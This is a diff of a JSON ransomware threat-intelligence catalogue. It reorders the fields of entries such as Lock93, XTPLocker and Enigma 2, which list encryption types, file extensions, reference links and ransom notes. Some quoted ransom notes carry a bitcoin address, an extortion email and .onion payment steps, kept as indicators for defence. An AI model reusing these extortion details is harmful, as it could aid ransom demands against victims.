- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Demands 10 BTC",
- "value": "AngryDuck Ransomware",
- "uuid": "2813a5c7-530b-492f-8d77-fe7b1ed96a65"
+ "uuid": "2813a5c7-530b-492f-8d77-fe7b1ed96a65",
+ "value": "AngryDuck Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/lock93-ransomware.html",
- "https://twitter.com/malwrhunterteam/status/789882488365678592"
+ "date": "October 2016",
+ "encryption": "AES-512",
+ "extensions": [
+ ".lock93"
],
"ransomnotes": [
"https://3.bp.blogspot.com/-WuD2qaaNIb0/WA4_g_FnIfI/AAAAAAAABx4/pn6VNqMXMzI_ryvKUruY3ctYtzomT1I4gCLcB/s1600/note3.jpg",
"https://1.bp.blogspot.com/-S6M83oFxSdM/WA4_ak9WATI/AAAAAAAABx0/3FL3q21FdxMQvAgrr2FORQIaNtq2-P2jACLcB/s1600/note2.jpg"
],
- "encryption": "AES-512",
- "extensions": [
- ".lock93"
- ],
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/lock93-ransomware.html",
+ "https://twitter.com/malwrhunterteam/status/789882488365678592"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Lock93 Ransomware",
- "uuid": "2912426d-2a26-4091-a87f-032a6d3d28c1"
+ "uuid": "2912426d-2a26-4091-a87f-032a6d3d28c1",
+ "value": "Lock93 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/asn1-encoder-ransomware.html",
- "https://malwarebreakdown.com/2017/03/02/rig-ek-at-92-53-105-43-drops-asn1-ransomware/"
- ],
+ "date": "October 2016",
+ "encryption": "AES-512",
"ransomnotes": [
"https://2.bp.blogspot.com/-5gZpxeEWqZg/WBeNnEP9GzI/AAAAAAAAB4g/ELCCp88whLMI6CzpGTjlxbmXBMFIKhwtwCLcB/s1600/onion-site.JPG",
"!!!!!readme!!!!!.htm"
],
- "encryption": "AES-512",
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/asn1-encoder-ransomware.html",
+ "https://malwarebreakdown.com/2017/03/02/rig-ek-at-92-53-105-43-drops-asn1-ransomware/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "ASN1 Encoder Ransomware",
- "uuid": "dd99cc50-91f7-4375-906a-7d09c76ee9f7"
+ "uuid": "dd99cc50-91f7-4375-906a-7d09c76ee9f7",
+ "value": "ASN1 Encoder Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker tries to get the user to play a game and when the user clicks the button, there is no game, just 20 pictures in a .gif below: https://3.bp.blogspot.com/-1zgO3-bBazs/WAkPYqXuayI/AAAAAAAABxI/DO3vycRW-TozneSfRTdeKyXGNEtJSMehgCLcB/s1600/all-images.gif",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/click-me-ransomware.html",
- "https://www.youtube.com/watch?v=Xe30kV4ip8w"
- ],
- "ransomnotes": [
- "All right my dear brother!!! Enough free playing. Your files have been encrypted. Pay so much this much money so I can send you the password for your files. I can be paid this much too cause I am very kind. So move on I didn't raise the price."
- ],
+ "date": "October 2016",
"encryption": "AES",
"extensions": [
".hacked"
],
- "date": "October 2016"
+ "ransomnotes": [
+ "All right my dear brother!!! Enough free playing. Your files have been encrypted. Pay so much this much money so I can send you the password for your files. I can be paid this much too cause I am very kind. So move on I didn't raise the price."
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/click-me-ransomware.html",
+ "https://www.youtube.com/watch?v=Xe30kV4ip8w"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker tries to get the user to play a game and when the user clicks the button, there is no game, just 20 pictures in a .gif below: https://3.bp.blogspot.com/-1zgO3-bBazs/WAkPYqXuayI/AAAAAAAABxI/DO3vycRW-TozneSfRTdeKyXGNEtJSMehgCLcB/s1600/all-images.gif",
- "value": "Click Me Ransomware",
- "uuid": "97bdadda-e874-46e6-8672-11dbfe3958c4"
+ "uuid": "97bdadda-e874-46e6-8672-11dbfe3958c4",
+ "value": "Click Me Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html"
- ],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-4HNc9S8SY4I/WBMkpdKyDsI/AAAAAAAAB0I/udESgro7YB4pF98Dv2KrrecyymFGsvV2QCLcB/s1600/note.JPG"
- ],
+ "date": "October 2016",
"encryption": "AES-256 + RSA-2048",
"extensions": [
".hacked"
],
- "date": "October 2016"
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-4HNc9S8SY4I/WBMkpdKyDsI/AAAAAAAAB0I/udESgro7YB4pF98Dv2KrrecyymFGsvV2QCLcB/s1600/note.JPG"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "AiraCrop Ransomware",
- "uuid": "e7a5c384-a93c-4ed4-8411-ca1e52396256"
+ "uuid": "e7a5c384-a93c-4ed4-8411-ca1e52396256",
+ "value": "AiraCrop Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Base64 encoding, ROT13, and top-bottom swapping",
"meta": {
- "synonyms": [
- "SHC Ransomware",
- "SHCLocker",
- "SyNcryption"
+ "date": "October 2016",
+ "encryption": "AES-256 + RSA-2048",
+ "extensions": [
+ "#LOCK#"
+ ],
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-sdlDK4OIuPA/WAehWZYHaMI/AAAAAAAABvc/TcAcLG2lw10aOFY3FbP1A5EuLjL6LR62ACLcB/s1600/note.jpg"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/10/japanlocker-ransomware.html",
@@ -4037,227 +4046,215 @@
"https://github.com/fortiguard-lion/schRansomwareDecryptor/blob/master/schRansomwarev1_decryptor.php",
"https://blog.fortinet.com/2016/10/19/japanlocker-an-excavation-to-its-indonesian-roots"
],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-sdlDK4OIuPA/WAehWZYHaMI/AAAAAAAABvc/TcAcLG2lw10aOFY3FbP1A5EuLjL6LR62ACLcB/s1600/note.jpg"
- ],
- "encryption": "AES-256 + RSA-2048",
- "extensions": [
- "#LOCK#"
- ],
- "date": "October 2016"
+ "synonyms": [
+ "SHC Ransomware",
+ "SHCLocker",
+ "SyNcryption"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Base64 encoding, ROT13, and top-bottom swapping",
- "value": "JapanLocker Ransomware",
- "uuid": "d579e5b6-c6fd-43d9-9213-7591cd324f94"
+ "uuid": "d579e5b6-c6fd-43d9-9213-7591cd324f94",
+ "value": "JapanLocker Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. EDA2",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/anubis-ransomware.html",
- "http://nyxbone.com/malware/Anubis.html"
+ "date": "October 2016",
+ "encryption": "AES(256)",
+ "extensions": [
+ ".coded"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-0YMsPH5WuTk/WAepI4BnqZI/AAAAAAAABv0/yXt4tdrmmAIf-N9KUmehY6mK1kTV-eFFQCLcB/s1600/note-wal2.jpg",
"Decryption Instructions.txt"
],
- "encryption": "AES(256)",
- "extensions": [
- ".coded"
- ],
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/anubis-ransomware.html",
+ "http://nyxbone.com/malware/Anubis.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. EDA2",
- "value": "Anubis Ransomware",
- "uuid": "a6215279-37d8-47f7-9b1b-efae4178c738"
+ "uuid": "a6215279-37d8-47f7-9b1b-efae4178c738",
+ "value": "Anubis Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/xtplocker-ransomware.html"
- ],
+ "date": "October 2016",
+ "encryption": "AES-256",
"ransomnotes": [
"Attention! ! ! All of your copies of your system have been permanently deleted and the data on all partitions and workstations have been encrypted! Stay calm. You can recover all your data by making a payment of 2 BTC (1200 USD) in Bitcoin currency to receive a decryption key. To purchase Bitcions you can use www.coinbase.com After buying BTC send the equivalent of 2 BTC (1200 USD) to our BTC adress : 16jX5RbF2pEcLYHPukazWhDCkxXTs7ZCxB After payment contact us to receive your decryption key. In mail title write your unique ID: {custom id visually resembling a MAC address} Our e-mail: crypt302@gmx.com"
],
- "encryption": "AES-256",
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/xtplocker-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "XTPLocker 5.0 Ransomware",
- "uuid": "eef4bf49-5b1d-463a-aef9-538c5dc2f71f"
+ "uuid": "eef4bf49-5b1d-463a-aef9-538c5dc2f71f",
+ "value": "XTPLocker 5.0 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Also encrypts executables",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/eviltwins-exotic-ransomware-targets-executable-files/",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/",
- "https://www.cyber.nj.gov/threat-profiles/ransomware-variants/exotic-ransomware",
- "https://id-ransomware.blogspot.co.il/2016/10/exotic-ransomware.html"
+ "date": "October 2016",
+ "encryption": "AES-128",
+ "extensions": [
+ ".exotic",
+ "random.exotic"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-WJYR7LkWHWY/WAaCYScljOI/AAAAAAAABuo/j18AGhzv7WUPb2r4HWkYm4TPgYw9S5PUwCLcB/s1600/note1-1.jpg",
"https://4.bp.blogspot.com/-2QxJ3KCRimI/WAaCcWcE2uI/AAAAAAAABus/9SGRY5iQT-ITfG_JrY7mn6-PUpQrSKg7gCLcB/s1600/note1-2.jpg",
"https://3.bp.blogspot.com/-SMXOoWiGkxw/WAaGOMdecrI/AAAAAAAABu8/S-YjlWlPKbItSN_fe8030tMDHWzouHsIgCLcB/s1600/note2.jpg"
],
- "encryption": "AES-128",
- "extensions": [
- ".exotic",
- "random.exotic"
- ],
- "date": "October 2016"
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/eviltwins-exotic-ransomware-targets-executable-files/",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/",
+ "https://www.cyber.nj.gov/threat-profiles/ransomware-variants/exotic-ransomware",
+ "https://id-ransomware.blogspot.co.il/2016/10/exotic-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Also encrypts executables",
- "value": "Exotic Ransomware",
- "uuid": "eb22cb8d-763d-4cac-af35-46dc4f85317b"
+ "uuid": "eb22cb8d-763d-4cac-af35-46dc4f85317b",
+ "value": "Exotic Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. NO POINT TO PAY THE RANSOM, THE FILES ARE COMPLETELY DESTROYED",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/apt-ransomware-2.html"
- ],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-VTUhk_Py2FA/WAVCO1Yn69I/AAAAAAAABuI/N71wo2ViOE0UjrIdbeulBRTJukHtA2TdACLcB/s1600/ransom-note.jpg"
- ],
+ "date": "October 2016",
"encryption": "AES-128",
"extensions": [
".dll"
],
- "date": "October 2016"
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-VTUhk_Py2FA/WAVCO1Yn69I/AAAAAAAABuI/N71wo2ViOE0UjrIdbeulBRTJukHtA2TdACLcB/s1600/ransom-note.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/apt-ransomware-2.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. NO POINT TO PAY THE RANSOM, THE FILES ARE COMPLETELY DESTROYED",
- "value": "APT Ransomware v.2",
- "uuid": "6ec0f43c-6b73-4f5e-bee7-a231572eb994"
+ "uuid": "6ec0f43c-6b73-4f5e-bee7-a231572eb994",
+ "value": "APT Ransomware v.2"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "WS Go Ransonware",
- "Trojan.Encoder.6491"
+ "date": "October 2016",
+ "encryption": "AES-256",
+ "extensions": [
+ ".enc"
+ ],
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-NfRePJbfjbY/WAe5LHFsWaI/AAAAAAAABwE/1Pk116TDqAYEDYvnu2vzim1l-H5seW9mQCLcB/s1600/note.png"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/10/ws-go-ransonware.html",
"https://www.cyber.nj.gov/threat-profiles/ransomware-variants/apt-ransomware-v2"
],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-NfRePJbfjbY/WAe5LHFsWaI/AAAAAAAABwE/1Pk116TDqAYEDYvnu2vzim1l-H5seW9mQCLcB/s1600/note.png"
- ],
- "encryption": "AES-256",
- "extensions": [
- ".enc"
- ],
- "date": "October 2016"
+ "synonyms": [
+ "WS Go Ransonware",
+ "Trojan.Encoder.6491"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Windows_Security Ransonware",
- "uuid": "a57a8bc3-8c33-43e8-b237-25edcd5f532a"
+ "uuid": "a57a8bc3-8c33-43e8-b237-25edcd5f532a",
+ "value": "Windows_Security Ransonware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/ncrypt-ransomware.html"
- ],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-k7T79DnBk8w/WBc67QXyjWI/AAAAAAAAB3w/QbA-E9lYdSMOg3PcG9Vz8fTc_OhmACObACLcB/s1600/note-html.jpg"
- ],
+ "date": "October 2016",
"encryption": "AES",
"extensions": [
".NCRYPT",
".ncrypt"
],
- "date": "October 2016"
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-k7T79DnBk8w/WBc67QXyjWI/AAAAAAAAB3w/QbA-E9lYdSMOg3PcG9Vz8fTc_OhmACObACLcB/s1600/note-html.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/ncrypt-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "NCrypt Ransomware",
- "uuid": "d590865e-f3ae-4381-9d82-3f540f9818cb"
+ "uuid": "d590865e-f3ae-4381-9d82-3f540f9818cb",
+ "value": "NCrypt Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. In devVenisRansom@protonmail.com",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/venis-ransomware.html",
- "https://twitter.com/Antelox/status/785849412635521024",
- "http://pastebin.com/HuK99Xmj"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-IFEOWjw-aaQ/WAXTu9oEN4I/AAAAAAAABuY/APqBiaHn3pAX8404Noyuj7tnFJDf2m_XACLcB/s1600/note1.jpg"
- ],
+ "date": "October 2016",
"encryption": "AES-2048",
"extensions": [
".venis"
],
- "date": "October 2016"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-IFEOWjw-aaQ/WAXTu9oEN4I/AAAAAAAABuY/APqBiaHn3pAX8404Noyuj7tnFJDf2m_XACLcB/s1600/note1.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/venis-ransomware.html",
+ "https://twitter.com/Antelox/status/785849412635521024",
+ "http://pastebin.com/HuK99Xmj"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. In devVenisRansom@protonmail.com",
- "value": "Venis Ransomware",
- "uuid": "b9cfe6f3-5970-4283-baf4-252e0491b91c"
+ "uuid": "b9cfe6f3-5970-4283-baf4-252e0491b91c",
+ "value": "Venis Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/enigma-2-ransomware.html"
- ],
- "ransomnotes": [
- "We encrypt important files on your computer: documents, databases, photos, videos and keys. Files encryption algorithm AES 128 (https://ru.wikipedia.org/wiki/Advanced_Encryption_Standard) with a private key that only we know. Encrypted files have .1txt extension. It decrypts files without the private key IMPOSSIBLE. \nIf you want to get the files back: \n1) Install the Tor Browser http://www.torproject.org/ \n2) Locate the desktop key to access E_N_I_G_M_A.RSA site (password is encrypted in the key of your files) \n3) Go to the website http://kf2uimw5omtgveu6.onion/ into a torus-browser and log in using E_N_I_G_M_A.RSA \n4) Follow the instructions on the website and download the decoder \nC:\\Documents and Settings\\Администратор\\Рабочийстол\\E_N_I_G_M_A.RSA - The path to the key file on the desktop C:\\DOCUME~1\\9335~1\\LOCALS~1\\Temp\\E_N_I_G_M_A.RSA - The path to the key file in TMP directory"
- ],
+ "date": "October 2016",
"encryption": "AES-128",
"extensions": [
".1txt"
],
- "date": "October 2016"
+ "ransomnotes": [
+ "We encrypt important files on your computer: documents, databases, photos, videos and keys. Files encryption algorithm AES 128 (https://ru.wikipedia.org/wiki/Advanced_Encryption_Standard) with a private key that only we know. Encrypted files have .1txt extension. It decrypts files without the private key IMPOSSIBLE. \nIf you want to get the files back: \n1) Install the Tor Browser http://www.torproject.org/ \n2) Locate the desktop key to access E_N_I_G_M_A.RSA site (password is encrypted in the key of your files) \n3) Go to the website http://kf2uimw5omtgveu6.onion/ into a torus-browser and log in using E_N_I_G_M_A.RSA \n4) Follow the instructions on the website and download the decoder \nC:\\Documents and Settings\\Администратор\\Рабочийстол\\E_N_I_G_M_A.RSA - The path to the key file on the desktop C:\\DOCUME~1\\9335~1\\LOCALS~1\\Temp\\E_N_I_G_M_A.RSA - The path to the key file in TMP directory"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/enigma-2-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Enigma 2 Ransomware",
- "uuid": "507506a3-3745-47fd-8d31-ef122317c0c2"
+ "uuid": "507506a3-3745-47fd-8d31-ef122317c0c2",
+ "value": "Enigma 2 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. sample is set to encrypt only in 2017...",
"meta": {
- "synonyms": [
- "Deadly for a Good Purpose Ransomware"
+ "date": "October 2016",
+ "encryption": "AES-256",
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-XZiiaCYM9Bk/WAUsUkrCJEI/AAAAAAAABtk/z-sMHflz3Q8_aWc-K9PD0N5TGkSGwwQnACLcB/s1600/note-html.jpg"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/10/deadly-ransomware.html",
"https://twitter.com/malwrhunterteam/status/785533373007728640"
],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-XZiiaCYM9Bk/WAUsUkrCJEI/AAAAAAAABtk/z-sMHflz3Q8_aWc-K9PD0N5TGkSGwwQnACLcB/s1600/note-html.jpg"
- ],
- "encryption": "AES-256",
- "date": "October 2016"
+ "synonyms": [
+ "Deadly for a Good Purpose Ransomware"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. sample is set to encrypt only in 2017...",
- "value": "Deadly Ransomware",
- "uuid": "a25e39b0-b601-403c-bba8-2f595e221269"
+ "uuid": "a25e39b0-b601-403c-bba8-2f595e221269",
+ "value": "Deadly Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/comrade-circle-ransomware.html"
+ "date": "October 2016",
+ "encryption": "AES-256",
+ "extensions": [
+ ".comrade"
],
"ransomnotes": [
"https://3.bp.blogspot.com/-MmzOC__9qPA/V__t2kNX-SI/AAAAAAAABrc/t8ypPa1jCIUbPfvR7UGbdGzdvKrbAv_DgCLcB/s1600/wallpaper.jpg",
"https://4.bp.blogspot.com/-hRoC-UFr-7o/V__tAEFuZWI/AAAAAAAABrQ/xDawlulx8Bg4uEtX4bU2ezPMY-x6iFiuQCLcB/s1600/note-1ch.JPG",
"https://4.bp.blogspot.com/-PdYtm6sRHAI/WAEngHQBg_I/AAAAAAAABsA/nh8m7__b0wgviTEBahyNYK4HFhF1v7rOQCLcB/s1600/icon-stalin-2.jpg"
],
- "encryption": "AES-256",
- "extensions": [
- ".comrade"
- ],
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/comrade-circle-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Comrade Circle Ransomware",
- "uuid": "db23145a-e15b-4cf7-9d2c-ffa9928750d5"
+ "uuid": "db23145a-e15b-4cf7-9d2c-ffa9928750d5",
+ "value": "Comrade Circle Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "Purge Ransomware"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/globe2-ransomware.html",
- "https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-MYI30xhrcZU/V_qcDyASJsI/AAAAAAAABpU/Pej5jDk_baYBByLx1cXwFL8LBiT8Vj3xgCLcB/s1600/note22.jpg"
- ],
+ "date": "October 2016",
"encryption": "AES-256 or Blowfish",
"extensions": [
".raid10",
@@ -4274,94 +4271,101 @@
".openforyou@india.com",
".."
],
- "date": "October 2016"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-MYI30xhrcZU/V_qcDyASJsI/AAAAAAAABpU/Pej5jDk_baYBByLx1cXwFL8LBiT8Vj3xgCLcB/s1600/note22.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/globe2-ransomware.html",
+ "https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221"
+ ],
+ "synonyms": [
+ "Purge Ransomware"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Globe2 Ransomware",
- "uuid": "5541471c-8d15-4aec-9996-e24b59c3e3d6"
+ "uuid": "5541471c-8d15-4aec-9996-e24b59c3e3d6",
+ "value": "Globe2 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/kostya-ransomware.html",
- "http://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/"
+ "date": "October 2016",
+ "encryption": "AES-256",
+ "extensions": [
+ ".k0stya"
],
"ransomnotes": [
"https://2.bp.blogspot.com/-E_MI2fT33J0/V_k_9Gjkj4I/AAAAAAAABpA/-30UT5HhPAAR9YtVkFwgrYqLIdWPprZ9gCLcB/s1600/lock-screen.jpg",
"https://2.bp.blogspot.com/-4YmIkWfYfRA/V_lAALhfSvI/AAAAAAAABpE/Dj35aroKXSwbLXrSPqGCzbvhsTNHdsbAgCLcB/s1600/kostya.jpg"
],
- "encryption": "AES-256",
- "extensions": [
- ".k0stya"
- ],
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/kostya-ransomware.html",
+ "http://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Kostya Ransomware",
- "uuid": "7d6f02d2-a626-40f6-81c3-14e3a9a2aea5"
+ "uuid": "7d6f02d2-a626-40f6-81c3-14e3a9a2aea5",
+ "value": "Kostya Ransomware"
},
{
